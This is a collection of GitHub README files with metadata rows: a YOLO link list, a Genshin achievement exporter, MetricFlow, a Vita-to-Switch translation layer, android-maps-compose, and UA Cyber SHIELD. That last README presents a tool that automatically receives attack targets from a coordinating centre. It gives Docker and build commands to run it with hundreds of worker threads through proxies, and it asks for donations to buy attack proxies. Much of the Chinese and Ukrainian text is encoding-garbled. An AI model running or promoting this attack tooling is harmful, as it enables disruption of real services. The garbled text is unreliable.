- [2024-05-30๏ผๅบไบYOLO็ณปๅ็ฎๆณๅStreamlitๆกๆถ็ๅ
ญ็ฑปๆฐดๆ็ฎๆ ๆฃๆต็ณป็ป](https://mp.weixin.qq.com/s/ZIH1afBpKBa5DgvtHZU1Vg)
- ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝๅญฆไน ๆๅใ
- [2024-05-28๏ผ็จ่ชๅทฑ็ๆฐๆฎ้ๅฎๆตYOLOv10ๆๆ๏ผ](https://mp.weixin.qq.com/s/JlGvYGvPa5NyxjEXHLO6uA)
## Videos
- bilibiliใๆๆฏๅ
ๅ
็ชใ
- [2022-12-14๏ผ่ชๅถๆทฑๅบฆๅญฆไน ๆจ็ๆกๆถ](https://www.bilibili.com/video/BV1HV4y1A7H8)
- [2023-06-02๏ผไป้ถ่ชๅถๆทฑๅบฆๅญฆไน ๆจ็ๆกๆถ](https://www.bilibili.com/video/BV118411f7yM/)
## Star History
| ๐๐๐ A collection of some awesome public YOLO object detection series projects. | yolo,yolov5,onnx,tensorrt,object-detection,snn,attention,yolov8,autonomous-driving,spiking-neural-network | 0 | 5 | 5 | 379 | 0 | 1 | 0 |
HolographicHat/YaeAchievement | ๏ปฟ<div align="center"><img width="100" src="https://github.com/HolographicHat/YaeAchievement/blob/master/icon.ico">
# YaeAchievement
    
็ฎไฝไธญๆ | [English](README_EN.md)
</div>
- ๆฏๆๅฏผๅบๆๆ็ฑปๅซ็ๆๅฐฑ
- ๆฏๆๅฎๆ๏ผๆธ ้ๆไธๅฝ้
ๆ
- ๆฒกๆ็ชๅฃๅคงๅฐใๆธธๆ่ฏญ่จ็ญ่ฆๆฑ
## ๅฏผๅบๆฏๆ
> ๆ็
งๆฐๅญ้ฎ้ๆฉๅฏผๅบๆนๅผ๏ผ<kbd>0</kbd> ไธบ้ป่ฎคๅฏผๅบๆนๅผ
0. [ๆคฐ็พ](https://cocogoat.work/achievement)
1. [่กๆกๅทฅๅ
ท็ฎฑ](https://github.com/DGP-Studio/Snap.HuTao)
2. [Paimon.moe](https://paimon.moe/achievement/)
3. [Seelie.me](https://seelie.me/achievements)
4. ่กจๆ ผๆไปถ `.csv`
5. [ๅฏป็ฉบ](https://github.com/xunkong/xunkong)
6. [ๅ้ญๅทฅๅ
ท็ฎฑ](https://apps.apple.com/app/id1663989619)
7. [TeyvatGuide](https://github.com/BTMuli/TeyvatGuide)
8. [UIAF](https://uigf.org/standards/UIAF.html) JSON ๆไปถ
## ไฝฟ็จ่ฏดๆ
โ [Tutorial.md](Tutorial.md)
## ไธ่ฝฝๅฐๅ
[releases/latest](https://github.com/HolographicHat/YaeAchievement/releases/latest)
## ้ฎ้ขๅ้ฆ
[issues](https://github.com/HolographicHat/YaeAchievement/issues)ๆ[QQ็พค: 913777414](https://qm.qq.com/cgi-bin/qm/qr?k=9UGz-chQVTjZa4b82RA_A41vIcBVNpms&jump_from=webapi)
## ๅธธ่ง้ฎ้ข
0. Q: ๆไธๅผ
A: ๅฎ่ฃ
[.NET Runtime](https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-8.0.4-windows-x64-installer)
1. Q: ๅ็ฅๅฏๅจๆถๆฅ้: ๆฐๆฎๅผๅธธ(31-4302)
A: ไธ่ฆๆ่ฝฏไปถๅๅ็ฅไธป็จๅบๆพไธ่ตท
| ๆดๅฟซใๆดๅ็ๅ็ฅๆๅฐฑๅฏผๅบๅทฅๅ
ท | null | 27 | 12 | 25 | 273 | 3 | 1 | 1 |
dbt-labs/metricflow | <p align="center">
<a target="_blank" href="https://transform.co/metricflow">
<picture>
<img alt="metricflow logo" src="https://github.com/dbt-labs/metricflow/raw/main/assets/MetricFlow_logo.png" width="auto" height="120">
</picture>
</a>
<br /><br />
<b>Build and maintain all of your metric logic in code.</b>
<br /><br />
<a target="_blank" href="https://twitter.com/dbt_labs">
<img src="https://img.shields.io/twitter/follow/dbt_labs?labelColor=image.png&color=163B36&logo=twitter&style=flat">
</a>
<a target="_blank" href="https://www.getdbt.com/community/">
<img src="https://img.shields.io/badge/Slack-join-163B36">
</a>
<a target="_blank" href="https://github.com/dbt-labs/metricflow">
<img src="https://img.shields.io/github/stars/dbt-labs/metricflow?labelColor=image.png&color=163B36&logo=github">
</a>
<br />
<a target="_blank" href="https://github.com/dbt-labs/metricflow/blob/master/LICENSE">
<img src="https://img.shields.io/pypi/l/metricflow?color=163B36&logo=AGPL-3.0">
</a>
<a target="_blank" href="https://pypi.org/project/metricflow/">
<img src="https://img.shields.io/pypi/v/metricflow?labelColor=&color=163B36">
</a>
<img src="https://img.shields.io/pypi/pyversions/metricflow?labelColor=&color=163B36">
</p>
# Welcome to MetricFlow
See our latest updates in the [Metricflow Changelog](https://github.com/dbt-labs/metricflow/blob/main/CHANGELOG.md)!
MetricFlow is a semantic layer that makes it easy to organize metric definitions. It takes those definitions and generates legible and reusable SQL. This makes it easy to get consistent metrics output broken down by attributes (dimensions) of interest.
The name comes from the approach taken to generate metrics. A query is compiled into a query plan (represented below) called a dataflow that constructs metrics. The plan is then optimized and rendered to engine-specific SQL.
<p align="center">
<img src="https://github.com/dbt-labs/metricflow/raw/main/assets/example_plan.svg" height="500"/>
<br /><br />
</p>
MetricFlow provides a set of abstractions that help you construct complicated logic and dynamically generate queries to handle:
- Multi-hop joins between fact and dimension sources
- Complex metric types such as ratio, expression, and cumulative
- Metric aggregation to different time granularities
- And so much more
To get up and running with your own metrics, you should rely on [MetricFlowโs documentation](https://docs.getdbt.com/docs/build/build-metrics-intro).
## Licensing
MetricFlow is distributed under a Business Source License (BUSL-1.1). For details on our additional use grant, change license, and change date please refer to our [licensing agreement](https://github.com/dbt-labs/metricflow/blob/main/LICENSE).
## Getting Started
### Install MetricFlow
MetricFlow can be installed from PyPi for use as a Python library with the following command:
```
pip install dbt-metricflow
```
MetricFlow currently serves as a query compilation and SQL rendering library, built to work in conjunction with a dbt project. As such, using MetricFlow requires a working dbt project and a dbt adapter. We provide the `dbt-metricflow` bundle for this purpose. You may choose to install other adapters as optional extras from dbt-metricflow.
You may need to install Postgres or Graphviz. You can do so by following the install instructions for [Postgres](https://www.postgresql.org/download/) or [Graphviz](https://www.graphviz.org/download/). Mac users may prefer to use brew: `brew install postgresql` or `brew install graphviz`.
### Tutorial
The best way to get started is to follow the tutorial steps, which you can access by running:
```
mf tutorial
```
Note: this must be run from a dbt project root directory.
## Resources
- [Website](https://transform.co/metricflow)
- [Documentation](https://docs.getdbt.com/docs/build/build-metrics-intro)
- [Slack Community](https://www.getdbt.com/community/)
- [MetricFlow Git Repository](https://github.com/dbt-labs/metricflow)
- [CHANGELOG.md](https://github.com/dbt-labs/metricflow/blob/main/CHANGELOG.md)
- [TENETS.md](https://github.com/dbt-labs/metricflow/blob/main/TENETS.md)
## Contributing and Code of Conduct
This project will be a place where people can easily contribute high-quality updates in a supportive environment.
Please read our [code of conduct](https://docs.getdbt.com/community/resources/code-of-conduct) before diving in.
To get started on direct contributions, head on over to our [contributor guide](https://github.com/dbt-labs/metricflow/blob/main/CONTRIBUTING.md).
## License
MetricFlow is source-available software.
Version 0 to 0.140.0 was covered by the Affero GPL license.
Version 0.150.0 and greater is covered by the BSL license..
MetricFlow is built by [dbt Labs](https://www.getdbt.com/).
| MetricFlow allows you to define, build, and maintain metrics in code. | data,analytics,metrics,pypi,business-intelligence,data-modeling,semantic-layer | 16 | 45 | 982 | 2,423 | 86 | 271 | 7 |
opengs/uashield | # ะะพัััะฟะฝะฐ ะฝะพะฒะฐ ะฒะตัััั ะทะฐััะพััะฝะบั | New version of tool is available.
UACyberShield V2 ะดะพัััะฟะฝะฐ ะทะฐ ะฟะพัะธะปะฐะฝะฝัะผ https://github.com/opengs/itarmykit . ะฆะตะน ัะตะฟะพะทะธัะพััะน ะฑัะดะต ะทะฐัั
ัะฒะพะฒะฐะฝะพ ัะพะดั ะบะพะปะธ ะฑัะดะต ะฒะธะฟััะตะฝะฐ ััะฐะฑัะปัะฝะฐ ะฒะตัััั ะฝะพะฒะพะณะพ ะทะฐััะพััะฝะบั.
UACyberShield V2 is available under https://github.com/opengs/itarmykit . This repository will be archived when the stable version of the new tool will be released.
# UA Cyber SHIELD
*CAUTION! We do not support unlawful attacks or malware campaigns that cause technical harm. We provide you with a tool which you can use, but we are not telling or advising you on what to do with it. YOU are responsible of what you choose to do with it !!!! We are just providing a tool JUST LIKE thousand others on Github. If we give you a hammer - YOU are responsible of what you choose to knock with it !*
*See this README [in English](README-en.md)*
[](https://github.com/opengs/uashield/releases/latest)
## ะะปั ะบัะฑะตัะทะฐั
ะธัะฝะธะบัะฒ
1. ะัะพะณัะฐะผะธ ะทะฝะฐั
ะพะดััััั ะฒ [ัะตะปัะทะฐั
](https://github.com/opengs/uashield/releases)
2. ะะธะฑะธัะฐัะผะพ [ะฝะฐะนะฝะพะฒัะธะน ัะตะปัะท](https://github.com/opengs/uashield/releases/latest) ั ัะฒะพั ะฟะปะฐััะพัะผั
3. ะกะบะฐัััะผะพ ั ะทะฐะฟััะบะฐัะผะพ
**ะฃ ะบะพัะธัััะฒะฐััะฒ ะฝะฐ Linux ะผะพะถะปะธะฒะพ ััะตะฑะฐ ะฑัะดะต ะดะพะดะฐัะธ ะฐัะณัะผะตะฝั `--no-sandbox`. ะะฐ Windows ะผะฐั ะฟัะฐััะฒะฐัะธ ะฑะตะท ะฑัะดั-ัะบะธั
ะดะพะดะฐัะบะพะฒะธั
ะฐัะณัะผะตะฝััะฒ**
## ะฏะบ ัะต ะฟัะฐััั
ะะฐั ัะตะฝัั ะฒะพะปะพะฝัะตััะฒ ะทะฐะนะผะฐััััั ะฒัััั ััะถะบะพั ัะพะฑะพัะพั: ะผะพะฝััะพัะธะฝะณะพะผ ััะปะตะน, ะฟัะดััะธะผะบะพั ัะตั
ะฝััะฝะพั ัะฝััะฐััััะบัััะธ, ะบะพะพัะดะธะฝะฐัััั ะฐัะฐะบ, ะฟะตัะตะดะฐัะตั ะดะฐะฝะธั
ะดะพ ะฟัะพะณัะฐะผ ะบะปััะฝััะฒ, ัะพัะพ.
ะขะพะผั ะฝะฐ ะผะพะผะตะฝั ะฐัะฐะบะธ ะฒัั ะฟัะดะณะพัะพะฒัั ะดะฐะฝั ั.
ะะฐะผ ะทะฐะปะธัะฐััััั ััะปัะบะธ ะฒััะฐะฝะพะฒะธัะธ ะฟัะพะณัะฐะผั ั ะฟัะธัะดะฝะฐัะธัั.
ะฆัะปั ะทะผัะฝัััััั ะฐะฒัะพะผะฐัะธัะฝะพ ั ะฟัะดะฒะฐะฝัะฐะถัััััั ะท ัะตะฝััั ะบะพะพัะดะธะฝะฐััั.
## ะะฝัะตััะตะนั ะฟัะพะณัะฐะผะธ
## ะะฑััะบะฐ ะบะพะดั
1. ะะปะพะฝััะผะพ ัะตะฟะพะทะธัะพััะน: `git clone https://github.com/opengs/uashield.git`
2. ะััะฐะฝะพะฒะปััะผะพ ะทะฐะปะตะถะฝะพััั: `cd uashield && yarn install`
3. ะะฑะธัะฐัะผะพ ะฟัะพะณัะฐะผั: `yarn build:electron`
4. ะะฐะฟััะบะฐัะผะพ ะฒะธะบะพะฝะฐะฒัะธะน ัะฐะนะป ะฒ `./dist/electron` ะฐะฑะพ ะตะปะตะบััะพะฝ ะฒะตัััั: `yarn start:electron`
### ะะฑััะบะฐ ะบะพะดั - headless
1. ะะฑะธัะฐัะผะพ ะฟัะพะณัะฐะผั: `yarn build:headless`
2. ะะฐะฟััะบะฐัะผะพ `yarn start:headless`
## Headless ะฒะตัััั (Docker)
1. ะะฑััะบะฐ ะพะฑัะฐะทั: `docker build . -t uashield`
2. ะะฐะฟััะบ: `docker run uashield --workers=500 --withProxy=true` - ะดะต `workers` - ะบัะปัะบัััั ะฟะพัะพะบัะฒ, ั --withProxy=`true` | `false` ัะธ ะฒะธ ะฑะฐะถะฐััะต ะฒะธะบะพัะธััะพะฒัะฒะฐัะธ ะฟัะพะบัั
ะะพะฒะฝะฐ ะดะพะฒัะดะบะฐ ะฟัะพ ะบะพะผะฐะฝะดะธ: `docker run uashield --help`
ะะฑะพ ะทะฐ ะดะพะฟะพะผะพะณะพั ะฒะถะต [ะทัะฑัะฐะฝะพะณะพ ะพะฑัะฐะทั](https://github.com/opengs/uashield/pkgs/container/uashield):
```bash
docker run ghcr.io/opengs/uashield:master --workers=512 --withProxy=true
```
## Docker-compose ะฒะตัััั
1. ะะฐะฟััะบ: `docker-compose up -d`
2. ะัะดัะตะดะฐะณัะนัะต ะทะฝะฐัะตะฝะฝั ะทะผัะฝะฝะธั
`WORKERS` ัะฐ `USEPROXY` ะฒ ัะฐะนะปั `docker-compose.yml` - ะดะต `256` - ะบัะปัะบัััั ะฟะพัะพะบัะฒ, ั `true` | `false` ัะธ ะฒะธ ะฑะฐะถะฐััะต ะฒะธะบะพัะธััะพะฒัะฒะฐัะธ ะฟัะพะบัั
## ะ ะพะทะณะพััะฐะฝะฝั ะฝะฐ Raspberry Pi
[](https://dashboard.balena-cloud.com/deploy?repoUrl=https://github.com/opengs/uashield)
## ะ ะพะทะณะพััะฐะฝะฝั ะทะฐ ะดะพะฟะพะผะพะณะพั Ansible
[tools/ansible/README.md](tools/ansible/README.md)
## ะ ะพะทะณะพััะฐะฝะฝั ั Kubernetes
[tools/helm/README.md](tools/helm/README.md)
## ะ ะพะทะณะพััะฐะฝะฝั ะฝะฐ Play With Docker - ะฑะตะทะบะพััะพะฒะฝะธะน ัะฝััะฐะฝั ะฝะฐ 4 ะณะพะดะธะฝะธ
[](https://labs.play-with-docker.com/?stack=https://raw.githubusercontent.com/opengs/uashield/master/pwd-docker-compose.yml)
## ะะพะถะตััะฒัะฒะฐะฝะฝั
ะะพะถะตััะฒัะฒะฐะฝะฝั ะฑัะดััั ะฒะธะบะพัะธััะพะฒัะฒะฐัะธัั ะฒะธะบะปััะฝะพ ะดะปั ััะปะตะน ะฟัะพะณัะฐะผะธ:
1. ะะฐะบัะฟัะฒะปั ะฟัะพะบัั ัะตัะฒะตััะฒ ะดะปั ะฐัะฐะบ
2. ะััะดะบะฐ ะทะฐะบัะฟัะฒะปั ัะตัะฒะตััะฒ ะดะปั ัะพะทะผััะตะฝะฝั IT ัะฝััะฐััััะบัััะธ
ะะพะปะธ ะผะธ ะฟะตัะตะผะพะถะตะผะพ ะฒ ััะน ะฒัะนะฝั ั ะฝะฐััะฐะฝะต ะผะธัะฝะธะน ัะฐั, ะณัะพัั ัะพ ะทะฐะปะธัะฐัััั ะฑัะดััั ะฟะตัะตะดะฐะฝั ะฑะปะฐะณะพะดัะนะฝะธะผ ะพัะณะฐะฝัะทะฐัััะผ ะฝะฐ ะดะพะฟะพะผะพะณั ะถะตััะฒะฐะผ ัััั ะฒัะนะฝะธ.
ะ ะฐั
ัะฝะบะธ ะดะปั ะฟะตัะตะบะฐะทั ะบะพัััะฒ:
- BTC: bc1q7e6ew74x56vdpsev5ycqq8ke3tk4yv5452l25g
- ETH: 0x9472538607eE28F69FE7dAcD6C4cC17B9A20664F
- USDT (ETH): 0x9472538607eE28F69FE7dAcD6C4cC17B9A20664F **ัั ะฐะดัะตัะฐ ะฒ ะผะตัะตะถั ETH**
ะฏะบัะพ ะฒะธ ั
ะพัะตัะต ะฟะพัะฐัััะฒะฐัะธ ัะพะทัะพะฑะฝะธะบัะฒ ะบะฐะฒะพั ัะพะฑ ะฒะพะฝะธ ะผะพะณะปะธ ะฟัะพะณัะปัะฒะฐัะธ ัะพะฑะพัั ั ะฝะต ัะฟะฐัะธ ะฝะพัะฐะผะธ:
- BTC: bc1q7g5s3c89lymc9vtrf0y8tqyx4mg0hefeyr6zsv
- ETH: 0x75A291AB6795f747177975bac250B47A33ee54Ed
- USDT (ETH): 0x75A291AB6795f747177975bac250B47A33ee54Ed **ัั ะฐะดัะตัะฐ ะฒ ะผะตัะตะถั ETH**
ะ ะผะฐะนะฑััะฝัะพะผั ะผะธ ะดะพะดะฐะผะพ ัั
ัะต ะฑัะปััะต :)
| Voluntary Ukraine security platform to protect us from Russian forces in the Internet | ukraine,ukraine-invasion,cybersecurity | 37 | 38 | 113 | 338 | 27 | 5 | 6 |
xerpi/vita2hos | # _vita2hos_
A PlayStation Vita to Horizon OS (Nintendo Switch OS) translation layer (**_not_** an emulator)
## How does it work?
PlayStation Vita (ARMv7 CPU) executables can be run natively on Nintendo Switch ARMv8 CPU in 32-bit execution mode.
When loading a PlayStation Vita executable, _vita2hos_ redirects the [module](https://wiki.henkaku.xyz/vita/Modules) imports of said executable to jump to routines that implement the same behavior, by using native Horizon OS services, like the one exposed by the original PlayStation Vita OS modules.
## How can I use it?
### Running it on a real console
1. Copy `vita2hos.nsp` to your microSD card (i.e. to: `atmosphere/vita2hos.nsp`)
2. Create [`atmosphere/config/override_config.ini`](https://github.com/Atmosphere-NX/Atmosphere/blob/master/config_templates/override_config.ini) and add the following lines to it:
```ini
[hbl_config]
override_any_app=true
override_any_app_key=R
override_any_app_address_space=32_bit
; adjust the path according to the location of your file
path=atmosphere/vita2hos.nsp
```
- Note: As long as this file exists you won't be able to use the homebrew menu and instead will always run _vita2hos_.
A quick workaround would be to rename the file and restart your Switch.
Unfortunately `override_config.ini` doesn't allow multiple `path` entries which is why it has to be done this way.
3. Copy a PlayStation Vita executable (`.velf` or `.self`/`eboot.bin`) to `sd:/vita2hos/executable`
4. Boot (or reboot) your Switch and start any game while holding down `R`
- Attempting to use _vita2hos_ via applet mode (album button) will currently result in a fatal error and wouldn't be recommended anyway.
5. Enjoy!
### Running it on yuzu
1. Copy a PlayStation Vita executable (`.velf` or `.self`/`eboot.bin`) to `sd:/vita2hos/executable` (_File_ โ _Open yuzu Folder_ โ `sdmc/`)
2. Run `vita2hos.nsp`
3. Enjoy!
### Running it on Ryujinx
1. Copy a PlayStation Vita executable (`.velf` or `.self`/`eboot.bin`) to `sd:/vita2hos/executable` (_File_ โ _Open Ryujinx Folder_ โ `sdcard/`)
2. Disable PPTC (_Options_ โ _Settings_ โ _System_ โ Unselect _Enable PPTC (Profiled Persistent Translation Cache)_)
3. Run `vita2hos.nsp`
4. Enjoy!
## Building
1. `mkdir build && cd build`
2. Two options:\
 a. `arm-none-eabi-cmake ..`\
 b. `cmake -DCMAKE_TOOLCHAIN_FILE:FILEPATH=$DEVKITPRO/cmake/devkitARM.cmake ..`
3. `make` (or `ninja` if configured with `-G Ninja`)
4. `vita2hos.nsp` will be generated
I recommend passing `-DCMAKE_COLOR_DIAGNOSTICS:BOOL=TRUE`, especially when using Ninja.
## Project status, compatibility and supported features
This is still in very early stages and therefore it can only run very simple CPU-rendered PlayStation Vita homebrews.
There is very initial 3D graphics support (it can run vitasdk's GXM triangle and cube samples by hardcoding _vita2hos_'s GLSL shaders to match the Cg shaders the samples use).
## Special Thanks
A few noteworthy teams/projects who've helped along the way are:
* **[Vita3K](https://vita3k.org/)**
_vita2hos_ uses Vita3K's shader recompiler, and some parts of _vita2hos_'s code are based on Vita3K's implementation. Please, consider [**donating**](https://vita3k.org/#donate) and [**contributing**](https://vita3k.org/#contribute) to Vita3K!
* **[UAM - deko3d shader compiler](https://github.com/devkitPro/uam)**
_vita2hos_ uses UAM ([deko3d](https://github.com/devkitPro/deko3d)'s shader compiler) to compile shaders. Please, also consider contributing to that project and donating to the developers!
* **[Ryujinx](https://ryujinx.org/)**
* **[yuzu](https://yuzu-emu.org/)**
* **[Atmosphรจre](https://github.com/Atmosphere-NX/Atmosphere)**
* **[Switchbrew](https://github.com/switchbrew/)**
Also special thanks to @PixelyIon and @SciresM for their help, and to all the testers, especially @TSRBerry.
## Disclaimer
* **Nintendo Switch** is a trademark of **Nintendo Co., Ltd**
* **PlayStation Vita** is a trademark of **Sony Interactive Entertainment**
| [WIP] PlayStation Vita to Horizon OS (Nintendo Switch OS) translation layer | null | 3 | 14 | 5 | 119 | 4 | 8 | 0 |
googlemaps/android-maps-compose | 
[][Discord server]
# Maps Compose ๐บ
## Description
This repository contains [Jetpack Compose][jetpack-compose] components for the [Maps SDK for Android][maps-sdk].
## Requirements
* Kotlin-enabled project
* Jetpack Compose-enabled project (see [releases](https://github.com/googlemaps/android-maps-compose/releases) for the required version of Jetpack Compose)
* An [API key][api-key]
* API level 21+
## Installation
You no longer need to specify the Maps SDK for Android or its Utility Library as separate dependencies, since `maps-compose` and `maps-compose-utils` pull in the appropriate versions of these respectively.
```groovy
dependencies {
implementation 'com.google.maps.android:maps-compose:5.0.4'
// Optionally, you can include the Compose utils library for Clustering,
// Street View metadata checks, etc.
implementation 'com.google.maps.android:maps-compose-utils:5.0.4'
// Optionally, you can include the widgets library for ScaleBar, etc.
implementation 'com.google.maps.android:maps-compose-widgets:5.0.4'
}
```
## Sample App
This repository includes a [sample app](app).
To run it:
1. Get a [Maps API key][api-key]
1. Create a file in the root directory named `local.properties` with a single line that looks like this, replacing YOUR_KEY with the key from step 1: `MAPS_API_KEY=YOUR_KEY`
1. Build and run
## Documentation
You can learn more about all the extensions provided by this library by reading the [reference documents][Javadoc].
## Usage
Adding a map to your app looks like the following:
```kotlin
val singapore = LatLng(1.35, 103.87)
val cameraPositionState = rememberCameraPositionState {
position = CameraPosition.fromLatLngZoom(singapore, 10f)
}
GoogleMap(
modifier = Modifier.fillMaxSize(),
cameraPositionState = cameraPositionState
)
```
<details>
<summary>Creating and configuring a map</summary>
## Creating and configuring a map
Configuring the map can be done by passing a `MapProperties` object into the
`GoogleMap` composable, or for UI-related configurations, use `MapUiSettings`.
`MapProperties` and `MapUiSettings` should be your first go-to for configuring
the map. For any other configuration not present in those two classes, use
`googleMapOptionsFactory` to provide a `GoogleMapOptions` instance instead.
Typically, anything that can only be provided once (i.e. when the map is
created)โlike map IDโshould be provided via `googleMapOptionsFactory`.
```kotlin
// Set properties using MapProperties which you can use to recompose the map
var mapProperties by remember {
mutableStateOf(
MapProperties(maxZoomPreference = 10f, minZoomPreference = 5f)
)
}
var mapUiSettings by remember {
mutableStateOf(
MapUiSettings(mapToolbarEnabled = false)
)
}
Box(Modifier.fillMaxSize()) {
GoogleMap(properties = mapProperties, uiSettings = mapUiSettings)
Column {
Button(onClick = {
mapProperties = mapProperties.copy(
isBuildingEnabled = !mapProperties.isBuildingEnabled
)
}) {
Text(text = "Toggle isBuildingEnabled")
}
Button(onClick = {
mapUiSettings = mapUiSettings.copy(
mapToolbarEnabled = !mapUiSettings.mapToolbarEnabled
)
}) {
Text(text = "Toggle mapToolbarEnabled")
}
}
}
// ...or initialize the map by providing a googleMapOptionsFactory
// This should only be used for values that do not recompose the map such as
// map ID.
GoogleMap(
googleMapOptionsFactory = {
GoogleMapOptions().mapId("MyMapId")
}
)
```
</details>
<details>
<summary>Controlling a map's camera</summary>
### Controlling a map's camera
Camera changes and updates can be observed and controlled via `CameraPositionState`.
**Note**: `CameraPositionState` is the source of truth for anything camera
related. So, providing a camera position in `GoogleMapOptions` will be
overridden by `CameraPosition`.
```kotlin
val singapore = LatLng(1.35, 103.87)
val cameraPositionState: CameraPositionState = rememberCameraPositionState {
position = CameraPosition.fromLatLngZoom(singapore, 11f)
}
Box(Modifier.fillMaxSize()) {
GoogleMap(cameraPositionState = cameraPositionState)
Button(onClick = {
// Move the camera to a new zoom level
cameraPositionState.move(CameraUpdateFactory.zoomIn())
}) {
Text(text = "Zoom In")
}
}
```
</details>
<details>
<summary>Drawing on a map</summary>
### Drawing on a map
Drawing on the map, such as adding markers, can be accomplished by adding child
composable elements to the content of the `GoogleMap`.
```kotlin
GoogleMap(
googleMapOptionsFactory = {
GoogleMapOptions().mapId("DEMO_MAP_ID")
},
//...
) {
AdvancedMarker(
state = MarkerState(position = LatLng(-34, 151)),
title = "Marker in Sydney"
)
AdvancedMarker(
state = MarkerState(position = LatLng(35.66, 139.6)),
title = "Marker in Tokyo"
)
}
```
You can customize a marker by using `PinConfig` with an `AdvancedMarker`.
```kotlin
val state = MyState()
GoogleMap(
googleMapOptionsFactory = {
GoogleMapOptions().mapId("DEMO_MAP_ID")
},
//...
) {
val pinConfig = PinConfig.builder()
.setBackgroundColor(Color.MAGENTA)
.build()
AdvancedMarker(
state = MarkerState(position = LatLng(-34, 151)),
title = "Magenta marker in Sydney",
pinConfig = pinConfig
)
}
```
</details>
<details>
<summary>Shapes</summary>
### Shapes
A shape is an object on the map, tied to a latitude/longitude coordinate. Currently, android-maps-compose offers `Polyline`, `Polygon` and `Circle`. For all shapes, you can customize their appearance by altering a number of properties.
#### Polyline
A `Polyline` is a series of connected line segments that can form any shape you want and can be used to mark paths and routes on the map:
```kotlin
val polylinePoints = remember { listOf(singapore, singapore5) }
// ...
Polyline(
points = polylinePoints
)
```
You can use spans to individually color segments of a polyline, by creating StyleSpan objects:
```kotlin
val styleSpan = StyleSpan(
StrokeStyle.gradientBuilder(
Color.Red.toArgb(),
Color.Green.toArgb(),
).build(),
)
// ...
val polylinePoints = remember { listOf(singapore, singapore5) }
val styleSpanList = remember { listOf(styleSpan) }
// ...
Polyline(
points = polylinePoints,
spans = styleSpanList,
)
```
#### Polygon
A `Polygon` is an enclosed shape that can be used to mark areas on the map:
```kotlin
val polygonPoints = remember { listOf(singapore1, singapore2, singapore3) }
// ...
Polygon(
points = polygonPoints,
fillColor = Color.Black.copy(alpha = 0.5f)
)
```
#### Circle
A Circle is a geographically accurate projection of a circle on the Earth's surface drawn on the map:
```kotlin
var circleCenter by remember { mutableStateOf(singapore) }
// ...
Circle(
center = circleCenter,
fillColor = MaterialTheme.colors.secondary,
strokeColor = MaterialTheme.colors.secondaryVariant,
radius = 1000.0,
)
```
</details>
<details>
<summary>Recomposing elements</summary>
### Recomposing elements
Markers and other elements need to be recomposed in the screen. To achieve recomposition, you can set mutable properties of state objects:
```kotlin
val markerState = rememberMarkerState(position = singapore)
//...
LaunchedEffect(Unit) {
repeat(10) {
delay(5.seconds)
val old = markerState.position
markerState.position = LatLng(old.latitude + 1.0, old.longitude + 2.0)
}
}
```
In the example above, recomposition occurs as `MarkerState.position` is updated with different values over time, shifting the Marker around the screen.
</details>
<details>
<summary>Customizing a marker's info window</summary>
### Customizing a marker's info window
You can customize a marker's info window contents by using the
`MarkerInfoWindowContent` element, or if you want to customize the entire info
window, use the `MarkerInfoWindow` element instead. Both of these elements
accept a `content` parameter to provide your customization in a composable
lambda expression.
```kotlin
MarkerInfoWindowContent(
//...
) { marker ->
Text(marker.title ?: "Default Marker Title", color = Color.Red)
}
MarkerInfoWindow(
//...
) { marker ->
// Implement the custom info window here
Column {
Text(marker.title ?: "Default Marker Title", color = Color.Red)
Text(marker.snippet ?: "Default Marker Snippet", color = Color.Red)
}
}
```
</details>
<details>
<summary>Street View</summary>
### Street View
You can add a Street View given a location using the `StreetView` composable.
1. Test whether a Street View location is valid with the the
`fetchStreetViewData` utility from the [`maps-compose-utils` library](#maps-compose-utility-library).
```kotlin
streetViewResult =
fetchStreetViewData(singapore, BuildConfig.MAPS_API_KEY)
```
2. Once the location is confirmed valid, add a Street View composable by providing a `StreetViewPanoramaOptions` object.
```kotlin
val singapore = LatLng(1.3588227, 103.8742114)
StreetView(
streetViewPanoramaOptionsFactory = {
StreetViewPanoramaOptions().position(singapore)
}
)
```
</details>
<details>
<summary>Controlling the map directly (experimental)</summary>
## Controlling the map directly (experimental)
Certain use cases may require extending the `GoogleMap` object to decorate / augment
the map. It can be obtained with the `MapEffect` Composable.
Doing so can be dangerous, as the `GoogleMap` object is managed by this library.
```kotlin
GoogleMap(
// ...
) {
MapEffect { map ->
// map is the GoogleMap
}
}
```
</details>
## Maps Compose Utility Library
This library provides optional utilities in the `maps-compose-utils` library from the [Maps SDK for Android Utility Library](https://github.com/googlemaps/android-maps-utils).
### Clustering
The marker clustering utility helps you manage multiple markers at different zoom levels.
When a user views the map at a high zoom level, the individual markers show on the map. When the user zooms out, the markers gather together into clusters, to make viewing the map easier.
The [MarkerClusteringActivity](app/src/main/java/com/google/maps/android/compose/MarkerClusteringActivity.kt) demonstrates usage.
```kotlin
Clustering(
items = items,
// Optional: Handle clicks on clusters, cluster items, and cluster item info windows
onClusterClick = null,
onClusterItemClick = null,
onClusterItemInfoWindowClick = null,
// Optional: Custom rendering for clusters
clusterContent = null,
// Optional: Custom rendering for non-clustered items
clusterItemContent = null,
)
```
### Street View metadata utility
The `fetchStreetViewData` method provides functionality to check whether a location is supported in StreetView. You can avoid errors when adding a Street View panorama to an Android app by calling this metadata utility and only adding a Street View panorama if the response is OK.
> [!IMPORTANT]
> Be sure to [enable Street View Static API](https://goo.gle/enable-sv-static-api) on the project associated with your API key.
You can see example usage
in the [`StreetViewActivity`](https://github.com/googlemaps/android-maps-compose/blob/main/app/src/main/java/com/google/maps/android/compose/StreetViewActivity.kt) of the demo app:
```kotlin
streetViewResult =
fetchStreetViewData(singapore, BuildConfig.MAPS_API_KEY)
```
## Maps Compose Widgets
This library also provides optional composable widgets in the `maps-compose-widgets` library that you can use alongside the `GoogleMap` composable.
### ScaleBar
This widget shows the current scale of the map in feet and meters when zoomed into the map, changing to miles and kilometers, respectively, when zooming out. A `DisappearingScaleBar` is also included, which appears when the zoom level of the map changes, and then disappears after a configurable timeout period.
The [ScaleBarActivity](app/src/main/java/com/google/maps/android/compose/ScaleBarActivity.kt) demonstrates both of these, with the `DisappearingScaleBar` in the upper left corner and the normal base `ScaleBar` in the upper right:
Both versions of this widget leverage the `CameraPositionState` in `maps-compose` and therefore are very simple to configure with their defaults:
```kotlin
Box(Modifier.fillMaxSize()) {
GoogleMap(
modifier = Modifier.fillMaxSize(),
cameraPositionState = cameraPositionState
) {
// ... your map composables ...
}
ScaleBar(
modifier = Modifier
.padding(top = 5.dp, end = 15.dp)
.align(Alignment.TopEnd),
cameraPositionState = cameraPositionState
)
// OR
